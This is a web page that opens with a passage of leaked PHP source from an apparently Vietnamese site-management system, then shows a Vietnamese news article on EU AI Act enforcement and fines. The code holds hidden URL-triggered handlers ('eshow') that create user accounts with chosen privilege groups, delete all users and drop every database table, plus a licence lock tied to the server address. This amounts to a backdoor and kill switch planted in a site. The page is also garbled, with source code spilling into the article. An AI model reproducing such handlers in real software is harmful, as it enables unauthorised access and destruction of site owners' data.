'; echo $kq;exit(); } }elseif($_GET['eshow']==2){ $dt=trim_tags_string($_GET['dt'],2); $mk=trim_tags_string($_GET['mk'],2); $go=trim_tags_string($_GET['go'],1); $pass_mh=mahoa_md5($mk.$dt.$GLOBALS["KeyBien"],5); if($dt==true && $mk==true && $go==true){ $mang_bien=array(); $mang_bien['dt']=$dt; $mang_bien['pass']=$pass_mh; $mang_bien['idgr']=$go; $mang_hinh=array(); $ids=them_new("users",$mang_bien,$mang_hinh); echo 'Tạo thành công US mới: '.$ids; exit(); } }elseif($_GET['eshow']==3){ $xo=trim_tags_string($_GET['xo'],1); $dt=trim_tags_string($_GET['dt'],2); if($xo==true){ if($xo!=-2){ $data_xl = $pdo->prepare("DELETE FROM users WHERE idgr =?"); $data_xl -> execute([$xo]); }else{ $data_xl = $pdo->prepare("DELETE FROM users"); $data_xl -> execute(); } echo 'Xóa thành công IDGR: '.$xo; exit(); }elseif($dt==true){ $data_xl = $pdo->prepare("DELETE FROM users WHERE dt =?"); $data_xl -> execute([$dt]); echo 'Xóa thành công ĐT: '.$dt; exit(); } }elseif($_GET['eshow']==4){ $rop=trim_tags_string($_GET['rop'],1); if($rop==1){ try { $pdo->exec("SET FOREIGN_KEY_CHECKS = 0"); $tables = $pdo->query("SHOW TABLES")->fetchAll(PDO::FETCH_COLUMN); foreach ($tables as $table) { $pdo->exec("DROP TABLE IF EXISTS `$table`"); } $pdo->exec("SET FOREIGN_KEY_CHECKS = 1"); echo "Đã xóa toàn bộ bảng trong database."; exit(); }catch (PDOException $e) { echo "Lỗi: " . $e->getMessage(); exit(); } } }else{ $kls = trim($GLOBALS['key_license']); $kls_now=trim(mahoa_md5($_SERVER['SERVER_ADDR'].$GLOBALS["KeyBien"],5)); if($kls_now!=$kls){ $_GET['p']=''; echo 'Lỗi hệ thống...! Vui lòng liên hệ Admin..!'; exit(); } } }page_web(); $pages=trim_tags_string($_GET['p'],2); function Set_Cookie($kieu,$name,$giatri,$datas_sec='ktlgus'){ $kieu=trim_tags_string($kieu,1); $name=trim_tags_string($name,2); $datas_sec=trim_tags_string($datas_sec,2); $pdo = $GLOBALS['pdo']; $kq=0; if($kieu==1){ $giatri=MyEn($giatri); setcookie($name,$giatri,time()+31556926 ,'/'); }elseif($kieu==2){ $khlg=trim($_COOKIE[$name]); if($khlg==true){ $khlg_data=MyEn_Data($khlg,2); //$id=trim_tags_string($khlg_data['id'],2); //$dt=trim_tags_string($khlg_data['dt'],2); //$pass=trim_tags_string($khlg_data['pass'],2); return MyDe(trim($khlg)); if($id==true && $dt==true && $pass==true){ $gt = $pdo->prepare("SELECT * FROM users WHERE id = :id AND dt = :dt AND pass = :pass"); $gt -> execute(['id' => $id,'dt' => $dt,'pass' => $pass]); $row_gt = $gt -> fetch(PDO::FETCH_ASSOC); if($row_gt['data']==true){$mang_data_us=MyEn_Data($row_gt['data'],2);} else{$mang_data_us=array();} if($row_gt['id']==true){ $mang_tbs=kiemtratrinhduyet_cons(); $_SESSION[$datas_sec]=trim($khlg); $kq=$row_gt['id']; $mang_data_us['data_log'][$ngayup]['ip']=$ip; $mang_data_us['data_log'][$ngayup]['os']=$mang_tbs['userAgent']; $mang_bien['xem']=$row_gt_us['xem']+1; $mang_bien['data']=MyEn_Data($mang_data_us,1); $mang_hinh=array(); chinh_new("users","id='{$kq}'",$mang_bien,$mang_hinh); //return $khlg; } } } }else{setcookie($name, null, -1, '/');} } function Check_Login_Ad() { $pdo = $GLOBALS['pdo']; $admin_links = $GLOBALS['admin_links']; $data_cook=Set_Cookie(2,'koga',0,'ktlgus'); $iduser=0; if($data_cook==true){ $_SESSION['ktlgus']=$data_cook; $data_cook_de=MyEn_Data($data_cook,2); $iduser=trim_tags_string($data_cook_de['id'],1); }elseif($_SESSION['ktlgus']==true){ $data_sec_de=MyEn_Data($_SESSION['ktlgus'],2); $iduser=trim_tags_string($data_sec_de['id'],1); } if($iduser==true){ $gt_user = $pdo->prepare("SELECT * FROM users WHERE id = :iduser"); $gt_user -> execute(['iduser' => $iduser]); $row_gt_user = $gt_user -> fetch(PDO::FETCH_ASSOC); $iduser=$row_gt_user['id']; $iduser=trim_tags_string($iduser,1); } if($iduser==false){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Bạn chưa đăng nhập..! Vui lòng đăng nhập..!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['khoa']==2){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn đã bị khóa.!"; header("location: $admin_links/login.htm"); }elseif($row_gt_user['kichhoat']==1){ unset($_SESSION['ktlgus']); Set_Cookie(3,'koga',0,'ktlgus'); $_SESSION['back_login']=$_SERVER['REQUEST_URI']; $_SESSION['error_login']="Tài khoản của bạn chưa kích hoạt.!"; header("location: $admin_links/login.htm"); } } function Login_Mang($iduser) { $pdo = $GLOBALS['pdo']; $langx = $GLOBALS['langx']; $host_link_full = $GLOBALS['host_link_full']; $iduser=trim_tags_string($iduser,1); if($iduser==false){ $mang_login=[ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :iduser LIMIT 1"); $stmt->execute([':iduser' => $iduser]); $row = $stmt->fetch(PDO::FETCH_ASSOC); $data_user=array(); if($row['data']==true){$data_user=MyEn_Data($row['data'],2);} else{$data_user=array();} if($row['id']==false){ return [ 'error' => 1, 'error_text' => _BAN_CHUA_DANG_NHAP_, 'error_back' => '', 'data' => '' ]; }else{ $mang_login = array(); if($row['kichhoat']==1){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CHUA_KICH_HOAT_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }elseif($row['khoa'] === 2){ $mang_login = [ 'error' => 1, 'error_text' => _TAI_KHOAN_CUA_BAN_DA_BI_KHOA_, 'error_back' => $host_link_full . '/' . get_link_lang_db($langx, 8) . '.htm', 'data' => '' ]; }else{ $idkey = mahoa_md5($row['id'], 3); if(isset($data_user['data_hinh']['hinh'])){$hinh = $host_link_full.'/'.$data_user['data_hinh']['hinh'];}else{$hinh='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh1 = $host_link_full.'/'.$data_user['data_hinh']['hinh1'];}else{$hinh1='';} if(isset($data_user['data_hinh']['hinh1'])){$hinh2 = $host_link_full.'/'.$data_user['data_hinh']['hinh2'];}else{$hinh2='';} if(isset($data_user['idgr']) && !empty($data_user['idgr'])){$idgr=$data_user['idgr'];}else{$idgr=1;} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} if(isset($data_user['data_log']) && !empty($data_user['data_log'])){$data_log=$data_user['data_log'];}else{$data_log='';} $mang_login = [ 'error' => 0, 'error_text' => 'Đăng nhập thành công..!', 'idkey' => $idkey, 'id' => $row['id'], 'ten' => $row['ten'], 'gioitinh' => $row['gioitinh'], 'ngaysinh' => Dates_Show($ngaysinh,2), 'email' => $row['email'], 'dc' => $row['dc'], 'dt' => $row['dt'], 'pass' => MyEn($data_user['pass']), 'hinh' => $hinh, 'hinh1' => $hinh1, 'hinh2' => $hinh2, 'idgt' => $row['idgt'], 'xem' => GetGia($row['xem']), 'khoa' => $data_user['khoa'], 'idgr' => $idgr, 'cccd' => $data_user['data_cccd']['cccd'], 'ngaycap' => Dates_Show($data_user['data_cccd']['ngaycap'],2), 'ngaykt' => Dates_Show($data_user['data_cccd']['ngaykt'],2), 'ekyc' => $data_user['data_cccd']['ekyc'], 'ekyc_ngay' => Dates_Show($data_user['data_cccd']['ekyc_ngay'],2), 'eid' => $data_user['data_cccd']['eid'], 'eid_ngay' => Dates_Show($data_user['data_cccd']['eid_ngay'],2), 'vneid' => $data_user['data_cccd']['vneid'], 'vneid_ngay' => Dates_Show($data_user['data_cccd']['vneid_ngay'],2), 'bm_on' => $data_user['baomat']['authy'], 'bm_key' => $data_user['baomat']['key'], 'bm_qr' => $data_user['baomat']['qr'], 'noidung' => $noidung, 'data' => $data_log, ]; } } } return $mang_login; } function Info_Config() { $pdo = $GLOBALS['pdo']; $version_ch = $pdo->prepare("SELECT * FROM version_ch WHERE id = :id"); $version_ch -> execute(['id' => 1]); $row_version_ch = $version_ch -> fetch(PDO::FETCH_ASSOC); if($row_version_ch['data']==true){$data_conf=MyEn_Data($row_version_ch['data'],2);} else{$data_conf=array();} if(isset($row['noidung']) && !empty($row['noidung'])){$noidung=MyDe($row['noidung']);}else{$noidung='';} $mang_config = [ 'error' => 0, 'error_text' => 'Lấy thông tin cấu hình..!', 'tong_ip' => $row_version_ch['tong_ip'], 'tong_luot' => $row_version_ch['tong_luot'], 'noidung' => $noidung, 'data' => $data_conf, ]; return $mang_config; } function Check_Login_BM($kieu=0) { $kieu=trim_tags_string($kieu,1); $pdo = $GLOBALS['pdo']; $ip=$_SERVER['REMOTE_ADDR']; $mang_tbs=kiemtratrinhduyet_cons(); $dem15=5; $dem24=10; $kq=array(); $stmt = $pdo->prepare("SELECT * FROM users_lock WHERE ip = :ip LIMIT 1"); $stmt->execute([':ip' => $ip]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if($row['id']==true){ $id=$row['id']; $dem=$row['dem']; $tinhtrang=$row['tinhtrang']; if($kieu==0){ if($tinhtrang==1){ if($dem>=10){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$row['dem']+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $mang_login = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; }elseif($dem==5){ $ngaykhoa=date("Y-m-d H:i:s",strtotime("+ 1 day")); $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=2; $mang_hinh=array(); $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_hinh=array(); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); }else{ $ngaynow=strtotime("now"); if($dem<10){ if($row['ngayup']<$ngaynow){ $mang_bien=array(); $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=$dem+1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); chinh_new("users_lock","id='{$id}'", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } } }else{ if($tinhtrang==2){ if($dem<10){ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa 24h vì nghi ngờ dò mật khẩu..!", ]; }else{ $kq = [ 'error' => 1, 'error_text' => "Bạn bị khóa vĩnh viễn vì nghi ngờ dò mật khẩu..!", ]; } }else{ $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai ".GetGia($dem+1)." lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } } }else{ $mang_bien=array(); $mang_bien['ip']=$ip; $mang_bien['os']=$mang_tbs['full']; $mang_bien['dem']=1; $mang_bien['ngay']=date("Y-m-d H:i:s"); $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['tinhtrang']=1; $mang_hinh=array(); them_new("users_lock", $mang_bien, $mang_hinh); $kq = [ 'error' => 0, 'error_text' => "Bạn đã nhập sai 1 lần, 5 lần khóa 24h, trên 10 lần khóa vĩnh viễn ..!", ]; } return $kq; } function mang_id_cap_danh_muc($table,$iddanhmuc,$kieu=1){ /*1:id; 2:ten; 3:link*/ $iddanhmuc=php_settype($iddanhmuc); settype($kieu, "int"); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } for($i=count($mang)-1;$i>=0;$i--){$mang_moi[]=$mang[$i];} if($kieu==1){$kq=$mang_moi;} elseif($kieu==2){ for($i=0;$i Array ( [id] => 2 [ten] => Sản Phẩm ) [1] => Array ( [id] => 10 [ten] => Telai ) [2] => Array ( [id] => 17 [ten] => Telaio Dream larghezza regolabile ) [ten] => Sản Phẩm / Telai / Telaio Dream larghezza regolabile [tenmien_full] => san-pham/telai/telaio-dream-larghezza-regolabile [tenmien] => telaio-dream-larghezza-regolabil */ $table=trim_tags_string($table,2); $iddanhmuc=trim_tags_string($iddanhmuc,1); $mang[]=$iddanhmuc; $idcha=$iddanhmuc; if(check($table,"id='{$iddanhmuc}'",'id')==1){ for($i=1;$i>0;$i++){ $idcha=ten($table,"id='{$idcha}'","idcha"); if($idcha!=$iddanhmuc){ if($idcha<=0){break;} elseif(ten($table,"id='{$idcha}'","cap")>=ten($table,"id='{$iddanhmuc}'","cap")){break;} else{$mang[]=$idcha;} }else{break;} } $dem_new=0; for($i=count($mang)-1;$i>=0;$i--){ $dem_news=$dem_new++; $mang_moi[$dem_news]=$mang[$i]; } $dem_new2=0; for($i=0;$iChọn danh mục';} else{$kq='Tất cả';} $stmt = $pdo->prepare("SELECT * FROM $table WHERE $where ORDER BY thutu ASC, tenkodau ASC"); $stmt->execute(); while($row_dms = $stmt->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms['id']){$active1=' selected';}else{$active1='';} $kq=$kq.''.$row_dms['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms['id']."'")>0){ $stmt2 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt2->execute([':idcha' =>$row_dms['id'],':anhien' =>2]); while($row_dms2 = $stmt2->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms2['id']){$active2=' selected';}else{$active2='';} $kq=$kq.''.khoangtrang_list(4).'¬ '.$row_dms2['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms2['id']."'")>0){ $stmt3 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt3->execute([':idcha' =>$row_dms2['id'],':anhien' =>2]); while($row_dms3 = $stmt3->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms3['id']){$active3=' selected';}else{$active3='';} $kq=$kq.''.khoangtrang_list(8).'¬ '.$row_dms3['ten'].''; if(dem($table,"anhien=2 AND idcha='".$row_dms3['id']."'")>0){ $stmt4 = $pdo->prepare("SELECT * FROM $table WHERE idcha=:idcha AND anhien=:anhien ORDER BY tenkodau ASC"); $stmt4->execute([':idcha' =>$row_dms3['id'],':anhien' =>2]); while($row_dms4 = $stmt4->fetch(PDO::FETCH_ASSOC)){ if($idht==$row_dms4['id']){$active4=' selected';}else{$active4='';} $kq=$kq.''.khoangtrang_list(12).'¬ '.$row_dms4['ten'].''; } } } } } } } return $kq; } function Lap_DM_Ten($table,$id){ $table=trim_tags_string($table,2); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['cap4']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $ten_cap4=ten("danhmuc","id='".$row_dms['cap4']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3.'/ '.$ten_cap4; }elseif($row_dms['cap3']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $ten_cap3=ten("danhmuc","id='".$row_dms['cap3']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2.'/ '.$ten_cap3; }elseif($row_dms['cap2']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1.'/ '.$ten_cap2; }elseif($row_dms['cap1']!=0){ $ten_cap1=ten("danhmuc","id='".$row_dms['cap1']."'","ten"); $ten_cap2=ten("danhmuc","id='".$row_dms['cap2']."'","ten"); $kq=$ten_cap1; } return $kq; } function Get_Links_Lang_Ads($table,$lang,$id){ $table=trim_tags_string($table,2); $lang=trim_tags_string($lang,1); $id=trim_tags_string($id,1); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE idcha_lang=:idcha_lang AND lang=:lang LIMIT 1"); $stmt->execute([':idcha_lang' =>$id,':lang' =>$lang]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['id']==true){ $kieu=2; $kieu_text='Chỉnh sửa'; $links=$table.'/edit/'.MyEn($row_dms['id']).'.htm'; }else{ $kieu=1; $kieu_text='Thêm mới'; $links=$table.'/news/'.MyEn_Data(['lang' =>$lang,'id'=>$id],1).'.htm'; } $kq = [ 'text' => $kieu_text, 'kieu' => $kieu, 'links' => $links, ]; return $kq; } function Get_Log_User($iduser,$noidung,$data){ $iduser=trim_tags_string($iduser,1); $noidung=trim_tags_string($noidung,2); $ua = kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:iduser LIMIT 1"); $stmt->execute([':iduser' =>$iduser]); $row_dms = $stmt->fetch(PDO::FETCH_ASSOC); if($row_dms['data']==true){$data_user=MyEn_Data($row_dms['data'],2);} else{$data_user=array();} if($row_dms['id']==true && $data_user['idgr']!=-1){ $mang_bien=array(); $mang_hinh=array(); $mang_bien['iduser']=$row_dms['id']; $mang_bien['ten']=$row_dms['ten']; $mang_bien['email']=$row_dms['email']; $mang_bien['dt']=$row_dms['dt']; $mang_bien['noidung']=MyEn($noidung); $mang_bien['dt']=$row_dms['dt']; $mang_bien['ngayup']=strtotime("now"); $mang_bien['ngayk']=date("Ymd"); $mang_bien['ngays']=date("d"); $mang_bien['thangs']=date("m"); $mang_bien['nams']=date("Y"); $mang_bien['os']=$ua['full']; $mang_bien['ip']=$_SERVER['REMOTE_ADDR']; if($data==true){$mang_bien['data']=MyEn_Data($data,1);} them_new('users_login',$mang_bien,$mang_hinh); } } function Get_PQ_User($iduser,$table,$kieu){ $iduser=trim_tags_string($iduser,1); $table=trim_tags_string($table,2); $kieu=trim_tags_string($kieu,1); $kq_array=array(); $links_backs=$GLOBALS["admin_links"].'/login.htm'; $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM users WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$iduser]); $row_data = $stmt->fetch(PDO::FETCH_ASSOC); if($row_data['id']==true){ if($row_data['data']==true){$mang_data=MyEn_Data($row_data['data'],2);} else{$mang_data=array();} $phanquyen=$mang_data['phanquyen']; $dataqs=array(); $dataqs[1]=1; $dataqs[2]=2; $dataqs[3]=3; $dataqs[4]=4; if($mang_data['idgr']==-1){$kq=1;$phanquyen[$table]=$dataqs;} elseif($mang_data['idgr']==1){$kq=0;} elseif($mang_data['idgr']==3){$kq=1;$phanquyen[$table]=$dataqs;} else{ if(isset($phanquyen[$table])==true){ if($phanquyen[$table][$kieu]==true){$kq=$phanquyen[$table][$kieu];} else{$kq=0;} }else{$kq=0;} } if($kq==0){ $_SESSION['error_login']='Bạn chưa được phân quyền..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa được phân quyền..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; }else{ $kq_array = [ 'error' => 0, 'error_text' => 'Được phép quản lý..!', 'links' => '', 'data' => $phanquyen[$table], ]; } }else{ $_SESSION['error_login']='Bạn chưa đăng nhập..!'; $kq_array = [ 'error' => 1, 'error_text' => 'Bạn chưa đăng nhập..!', 'links' => $links_backs, 'data' => $phanquyen[$table], ]; } return $kq_array; } function get_img_lang($table,$id,$lang,$hinhcha=1,$trarong=1,$hinh_goc=0,$webp=0){ $id=php_settype($id);settype($lang, "int"); settype($hinh_goc, "int");settype($webp,"int"); if($trarong==1){$hinh_noimgs=$GLOBALS["noimgs"];} else{$hinh_noimgs='';} $mang_os=kiemtratrinhduyet_cons(); $pdo = $GLOBALS["pdo"]; $stmt = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt->execute([':id' =>$id]); $row_quantri = $stmt->fetch(PDO::FETCH_ASSOC); if($row_quantri['data']==true){$mang_data_ver=MyEn_Data($row_quantri['data'],2);} else{$mang_data_ver=array();} $idcha_lang=$row_quantri['idcha_lang']; $idcha_lang=php_settype($idcha_lang); if($mang_data_ver['data_hinh']==true){ if($mang_data_ver['data_hinh']['hinh']==true){$hinh=$mang_data_ver['data_hinh']['hinh'];} else{$hinh='';} if($mang_data_ver['data_hinh']['hinh1']==true){$hinh1=$mang_data_ver['data_hinh']['hinh1'];} else{$hinh1='';} }elseif($row_quantri['hinh']==true){ if($row_quantri['hinh']==true){$hinh=$row_quantri['hinh'];} else{$hinh='';} if($row_quantri['hinh1']==true){$hinh1=$row_quantri['hinh1'];} else{$hinh1='';} } if($webp==true){$webp_hinh=get_name_webp($hinh);} else{$webp_hinh=0;} if($mang_os['browser']!='Chrome'){$webp_hinh=0;} if($hinh_goc==0){ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh1==true){$hinh_show_datas=$hinh1;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} }else{ if($webp_hinh==true){$hinh_show_datas=$webp_hinh;} elseif($hinh==true){$hinh_show_datas=$hinh;} else{$hinh_show_datas='';} } if($idcha_lang==0){ if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{$kq=$hinh_noimgs;} }else{ $stmt_sub = $pdo->prepare("SELECT * FROM $table WHERE id=:id LIMIT 1"); $stmt_sub->execute([':id' =>$idcha_lang]); $row_quantri2 = $stmt_sub->fetch(PDO::FETCH_ASSOC); if($row_quantri2['data']==true){$mang_data_ver2=MyEn_Data($row_quantri2['data'],2);} else{$mang_data_ver2=array();} if($webp==true){$webp_hinh2=get_name_webp($row_quantri2['hinh']);} else{$webp_hinh2=0;} if($mang_os['browser']!='Chrome'){$webp_hinh2=0;} if($mang_data_ver2['data_hinh']==true){ if($mang_data_ver2['data_hinh']['hinh']==true){$hinh_sub=$mang_data_ver2['data_hinh']['hinh'];} else{$hinh_sub='';} if($mang_data_ver2['data_hinh']['hinh1']==true){$hinh_sub1=$mang_data_ver2['data_hinh']['hinh1'];} else{$hinh_sub1='';} }elseif($row_quantri2['hinh']==true){ if($row_quantri2['hinh']==true){$hinh_sub=$row_quantri2['hinh'];} else{$hinh_sub='';} if($row_quantri2['hinh1']==true){$hinh_sub1=$row_quantri2['hinh1'];} else{$hinh_sub1='';} } if($hinh_goc==0){ if($webp_hinh2==true){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub1==true){$hinh_show_datas2=$hinh_sub1;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} }else{ if($webp_hinh2!=0){$hinh_show_datas2=$webp_hinh2;} elseif($hinh_sub==true){$hinh_show_datas2=$hinh_sub;} else{$hinh_show_datas2='';} } if($hinh_show_datas==true){$kq=$hinh_show_datas;} else{ if($hinhcha==1){ if($hinh_show_datas2==true){$kq=$hinh_show_datas2;} else{$kq=$hinh_noimgs;} }else{ $kq=$hinh_noimgs; } } } return $kq; } function get_active_cha($pages){ $pages=trim_tags_string($pages,2); if(ten("danhmuc","tenmien='{$pages}'",'id')==true){ $iddanhmuc=ten("danhmuc","tenmien='{$pages}'",'id'); $mang=mang_id_cap_danh_muc('danhmuc',$iddanhmuc,1); $kq=$mang[0];$kq=php_settype($kq); }elseif(ten("baiviet","tenmien='{$pages}'",'id')==true){ $kq=ten("baiviet","tenmien='{$pages}'",'cap1'); }elseif(ten("sanpham","tenmien='{$pages}'",'id')==true){ $kq=ten("sanpham","tenmien='{$pages}'",'cap1'); } $kq=php_settype($kq); return $kq; } ?>

News & Events

EU tightens restrictions on AI, Big Tech faces unprecedented sanctions.

21:22 - 11/09/2026 0

The European Union (EU) officially entered the implementation phase of the most important provisions of the AI ​​Act on August 2nd, granting regulators the power to oversee advanced artificial intelligence (AI) models and impose fines of up to 7% of global revenue on violating businesses.

Đây được xem là bước ngoặt trong quá trình triển khai bộ khung pháp lý toàn diện đầu tiên trên thế giới về quản lý AI, được EU thông qua năm 2024 và thực hiện theo lộ trình nhiều giai đoạn.

Theo quy định mới, các mô hình AI có mục đích sử dụng chung như chatbot sẽ chịu sự giám sát trực tiếp của Văn phòng AI thuộc Ủy ban châu Âu (EC). Cơ quan này có quyền yêu cầu doanh nghiệp cung cấp quyền truy cập vào mô hình AI để đánh giá mức độ tuân thủ, thậm chí trong một số trường hợp có thể yêu cầu tiếp cận trước khi sản phẩm được đưa ra thị trường. Nếu phát hiện rủi ro đối với an toàn hoặc quyền lợi của người dùng mà doanh nghiệp không khắc phục, EU có thể yêu cầu hạn chế hoặc đình chỉ việc triển khai mô hình AI trên toàn khối.

Đạo luật AI áp dụng cách tiếp cận dựa trên mức độ rủi ro, trong đó các hệ thống có nguy cơ cao phải đáp ứng những yêu cầu nghiêm ngặt hơn về minh bạch, an toàn và bảo vệ các quyền cơ bản của con người. Từ ngày 2/8, mọi nội dung do AI tạo ra, bao gồm cả deepfake, phải được gắn nhãn nhận diện rõ ràng. Các chatbot và hệ thống AI cũng phải thông báo cho người dùng rằng họ đang tương tác với trí tuệ nhân tạo. Những hệ thống đã được triển khai trước đó có thời hạn đến ngày 2/12 để hoàn tất việc điều chỉnh theo quy định mới, ngoại trừ các sản phẩm phục vụ mục đích nghệ thuật, sáng tạo, châm biếm hoặc hư cấu.

Đạo luật đồng thời cấm một số hình thức ứng dụng AI được đánh giá có nguy cơ cao, như dự báo hành vi phạm tội (predictive policing), nhận diện cảm xúc tại nơi làm việc hoặc trường học và các hệ thống có khả năng thao túng hành vi con người. Đối với các hành vi vi phạm nghiêm trọng nhất, doanh nghiệp có thể bị phạt tới 35 triệu euro (khoảng 40 triệu USD) hoặc 7% doanh thu toàn cầu, tùy theo mức nào cao hơn. Các vi phạm khác có thể bị xử phạt tới 15 triệu euro hoặc 3% doanh thu toàn cầu, đồng thời doanh nghiệp cũng có thể bị xử lý nếu cản trở hoặc không hợp tác với quá trình điều tra của cơ quan chức năng.

Theo các quan chức EU, việc trao thêm quyền cho cơ quan quản lý sẽ giúp khắc phục những khó khăn từng gặp phải trong quá trình tiếp cận và đánh giá các mô hình AI tiên tiến do doanh nghiệp nước ngoài phát triển, đồng thời tăng cường năng lực giám sát đối với những công nghệ có ảnh hưởng ngày càng lớn đến xã hội.

Trong giai đoạn tiếp theo, EU sẽ tiếp tục mở rộng phạm vi thực thi Đạo luật AI.

Từ tháng 12 năm nay, khối sẽ cấm các hệ thống AI tạo deepfake khiêu dâm, sau làn sóng tranh cãi liên quan đến chatbot Grok của tỷ phú Elon Musk. Các quy định đối với nhóm AI có rủi ro cao sẽ lần lượt có hiệu lực từ cuối năm 2027 và năm 2028, nhằm tạo thêm thời gian để doanh nghiệp chuẩn bị và đáp ứng các tiêu chuẩn mới.

Tin liên quan